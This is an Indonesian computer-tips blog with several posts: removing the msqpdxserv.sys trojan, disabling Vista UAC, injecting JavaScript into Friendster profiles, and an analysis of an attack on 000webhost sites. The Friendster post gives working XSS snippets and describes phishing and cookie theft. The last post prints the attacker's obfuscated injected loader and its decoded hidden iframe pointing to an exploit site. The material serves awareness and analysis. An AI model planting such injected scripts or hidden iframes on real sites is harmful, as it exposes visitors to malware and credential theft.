Cara menghapus trojan msqpdxserv.sys

Cara menghapus trojan msqpdxserv.sys (trojan tidserv)

Msqpdxserv.sys trojan atau yang dikenal sebagai W32.Tidserv merupakan trojan horse yang beresiko bagi keamanan computer yang terinfeksi. Trojan rootkit menggunakan teknik yang dirancang khusus untuk menyembunyikan keberadaan software pada sistem.

Setelah system computer terinfeksi, trojan ini akan melakukan blok keamanan akses pengguna ke situs web, halaman web yang mengandung kata "VIMAX", hasil pencarian di Google, Yahoo, MSN dan lainnya redirect ke situs-situs lainnya yang tidak terkait. Trojan Msqpdxserv.sys juga akan mengubah DNS server ke salah satu IP berikut: 85.255.115.156, 85.255.112.87, 85.255.115.50, 85.255.112.154.

Msqpdxserv.sys trojan menyebar dan menggandakan diri ke semua removable drive menjadi sebuah file boot.com yang berada pada directory %DriveLetter%\resycled\boot.com, juga membuat file autorun.inf pada path %DriveLetter%\resycled\.

Cara untuk menghapus dan mematikan trojan msqpdxserv.sys :

Langkah 1: Mematikan msqpdxserv.sys trojan driver.

* Klik kanan pada icon My Computer
* Klik Properties.
* Klik Tab Hardware.
* Klik Device Manager.
* Pada menu bagian atas, klik View and click Show Hidden Drivers
* Scroll ke bawah pada opsi non Plug and Play drivers.
* Klik + di sebelah kiri.
* Pada list driver, klik kanan msqpdxserv.sys.
* Klik Disable.
* Klik YES untuk konfirmasi.
* Tutup semua jendela dan reboot komputer Anda.

Untuk menghilangkan trojan msqpdxserv.sys maupun sejenis malware lainya, anda bisa menggunakan tools berikut.

writlen by fcknmysep @ komputer tips

Disable UAC alert windows vista

Disable UAC (user account contol) pada windows vista, Bagi anda pengguna windows vista tentu tidak asing dengan pesan / alert seperti yang terlihat pada gambar disamping., dan mungkin bagi sebagian pengguna merasa terganggu karena setiap kita melakukan aktivitas yang berkaiatan dengan access pada system, vista selalu memberi peringatan kepada user. Sebenarnya hal ini berfungsi untuk security / keamanan pada system windows vista itu sendiri. Kita bisa saja mendisable atau mematikan message alert ini melalui beberapa cara, dan yang akan saya bahas disini adalah salah satu cara disable UAC vista melalui system registry. Perlu anda ketahui, mendisable UAC vista akan beresiko pada keamanan system anda. Berikut adalah cara mendisable UAC tersebut:

1. Buka RUN (tekan windows key + R) kemudian ketik "regedit" (tanpa tanda petik)
2. Cari key registry "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Policies\System"
3. Cari key DWORD "EnableLUA", kemudian silahkan double klik
4. Isi DWORD tersebut dengan value "0" (tanpa petik)
5. Klik OK. dan restart computer anda.

Untuk mengembalikan UAC pada posisi ON, silahkan ganti value 0 menjadi 1 pada dword EnableLUA.


writlen by komputer tips supported by IT Computer Zone and md5 hash

Javascript linker Friendster

Javascript - Friendster - Linker , Barusan ada temen yang tanya mengenai cara memasukkan javascript pada profile friendster, dan dengan exspresi tanpa DOSA langsung saja saya jawab "tinggal masukan saja tag <script> pada about me atau Describe Who You Want to Meet", tapi ternyata code ini sudah tidak berfungsi lagi :l0l: Lalu? apakah masih ada celah buat inject javascript di friendster? jawabnya: masih bisa. setidaknya sampai postingan ini saya buat, code javascript masih bisa berjalan pada MEDIA BOX friendster. Dibawah ini adalah codenya:

<script>alert("XSS");</script>

.

<script src="lokasi file JS"></script>

.

Tanpa sensor bukan? padahal sebelumnya code seperti ini sudah difilter oleh friendster., kemudian apa manfaat dan bahaya javascript buat kita? tentu saja bagi yang punya hoby modifikasi layouts friendster adalah sebuah anugerah :D tapi hal ini bisa dimanfaatkan oleh kelompok tertentu untuk phishing ataupun pencurian cookies user friendster. Apa itu phishing?, contoh sederhana phishing adalah berupa fake login (halaman login tipuan) yang menyerupai halaman login friendster, sehingga saat kita memasukan email dan password, maka data kita akan terrecord pada database halaman phishing tersebut. Metode ini biasanya menggunakan cara "clasic" (redirect ke url domain non friendster) atau menggunakan cara "modern" (berupa frame) yang menutupi profile asli seseorang dengan area 100% sehingga profile asli tersebut tidak terlihat, yang terlihat adalah sebuah halaman login palsu.

Selanjutnya adalah cookies, Friendster telah melakukan patch dengan menyimpan key cookies pada domain www.friendster.com, dan melakukan redirect pada url http://profiles.friendster.com/IDuser saat user melakukan access pada page tersebut dengan alasan "cookies security", namun pencurian cookies masih bisa dilakukan pada friendster selama javascript masih bisa di inject pada profile seseorang, di tambah juga adanya sebuah bugs pada "UserURL" yang berkaitan pada subdomain http://profiles.friendster.com. Perlu di ketahui, sebuah alamat subdomain merupakan subdirectory dari sebuah directory root domain. contohnya adalah: http://friendster.com adalah root directory, ketika kita membuat subdomain dengan nama http://profiles.friendster.com sebenarnya kita bisa akses url tersebut dengan format http://friendster.com/profiles/ karena "profiles" merupakan sub deirectory dari domain friendster.com.

Teknik cookies stealer kabarnya tidak hanya sebatas ini saja, dan mungkin tidak bisa dituliskan disini. Tulisan ini ditujukan kepada anda agar anda berhati-hati dengan metode-moetode yang disebutkan diatas. Semoga Friendster Team segera melakukan patching demi kenyamanan member. (komputer tips)

kata mas budi topik fs bisa buat naikin trafic yah? mari kita buktikan :D

Attack yang dilakukan chanchoi.cn

attack yang dilakukan oleh web chanchoi.cn juga saya alami seminggu yang lalu pada salah satu blog saya http://dafiex.site88.net. Pertama kali terpikirkan kalau bugs terdapat pada blog saya yang menggunakan machine wordpress tersebut, sehingga attacker berhasil melakukan injeksi javascript pada halaman index.php yang merupakan index dari blog bermachine WP yang saya gunakan. Tetapi pendapat saya ternyata salah, korban attacker adalah sebagian besar merupakan member dari 000webhost.com dan dapat di simpulkan bahwa kebocoran terdapat pada system 000webhost. Pendapat saya ini semakin diperkuat dengan kejadian yang sama pada domain saya yang berbeda pada hosting 000webhost, script injection juga terdapat menempel pada halaman index. Sempat panik juga, walaupun blog tersebut tidak ada apa-apanya.. :D dan akhirnya saya putuskan untuk melakukan upgrade pada blog tersebut dengan versi terbaru dari wordpress yaitu versi 2.6. Dibawah ini adalah script yang di gunakan attacker tersebut dalam code yang masih terencrypt :

<?php
/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?<html><body onload="function a0(s){b='';for(i=0;i<s.length;i+=4>>1)b+=s.charAt(i);return b;}document.write(a0('\074u\x64n\151k\x76n\040o\x73w\164n\x79 \154o\x65b\075f\x22u\166s\x69c\163a\x69t\142i\x69o\154n\x69u\164n\x79k\072n\x68o\151w\x64n\144 \x65o\156b\x22f\076u\x3cs\151c\x66a\162t\x61i\155o\x65n\040u\x73n\162k\x63n\075o\x22w\150n\x74 \164o\x70b\072f\x2fu\057s\x63c\150a\x61t\156i\x63o\150n\x6fu\151n\x2ek\143n\x6eo\057w\x69n\156 \x64o\145b\x78f\056u\x70s\150c\x70a\042t\x20i\166o\x69n\163u\x69n\142k\x69n\154o\x69w\164n\x79 \072o\x68b\151f\x64u\144s\x65c\156a\x20t\167i\x69o\144n\x74u\150n\x3dk\061n\x30o\060w\x20n\150 \x65o\151b\x67f\150u\x74s\075c\x38a\060t\x3ei\074o\x2fn\151u\x66n\162k\x61n\155o\x65w\076n\x3c \057o\x64b\151f\x76u\076s'));"</body></html>>

hasil decode :

<div style="visibility:hidden"><iframe src="http://chanchoi.cn/index.php" visibility:hidden width=100 height=80></iframe></div>

kejadian ini juga di alami oleh salah satu rekan saya di nangkacomm, disebutkan juga hal serupa di forum 000webhost dan menurut informasi dari forum tersebut admin 000webhost telah melakukan blocking terhadap web chanchoi.net. Hari ini di sebutkan bahwa system 000webhost sudah kembali bekerja dengan normal pada halaman login member, yah semoga saja patching sudah dilakukan dengan benar :) .Mengenai efek dari script yang telah mereka injeksi pada system adalah membuat sebuah frame hidden yang mengarah pada sebuah document PDF dimana didalam file PDF tersebut terdapat script attack untuk adobe acrobat reader yang pada akhirnya system operasi kita (windows only) akan melakukan download program dari mereka, program ini biasa di sebut spyware/maleware. Untuk antisipasinya, antivirus norton sudah mengenali spyware ini seperti yang mereka kabarkan pada halaman "https://safeweb.norton.com/report/show?name=chanchoi.cn". dan juga sebaiknya anda update acrobat reader anda dengan versi terbarunya untuk menghindari hal yang tidak diinginkan. Untuk penggunaan browser sendiri sudah saya coba pada firefox versi 3.0.4 dan sudah dapat mendeteksi situs chanchoi sebagai situs attack dengan adanya pesan alert "The site at chanchoi.cn has been reported as an attack site and has been blocked based on your security preferences", tapi security dari sisi browser tidaklah 100% aman karena browser hanya mengenali url dari situs saja! sementara file attack tersebut bisa saja dipindahkan ke domain yang berbeda.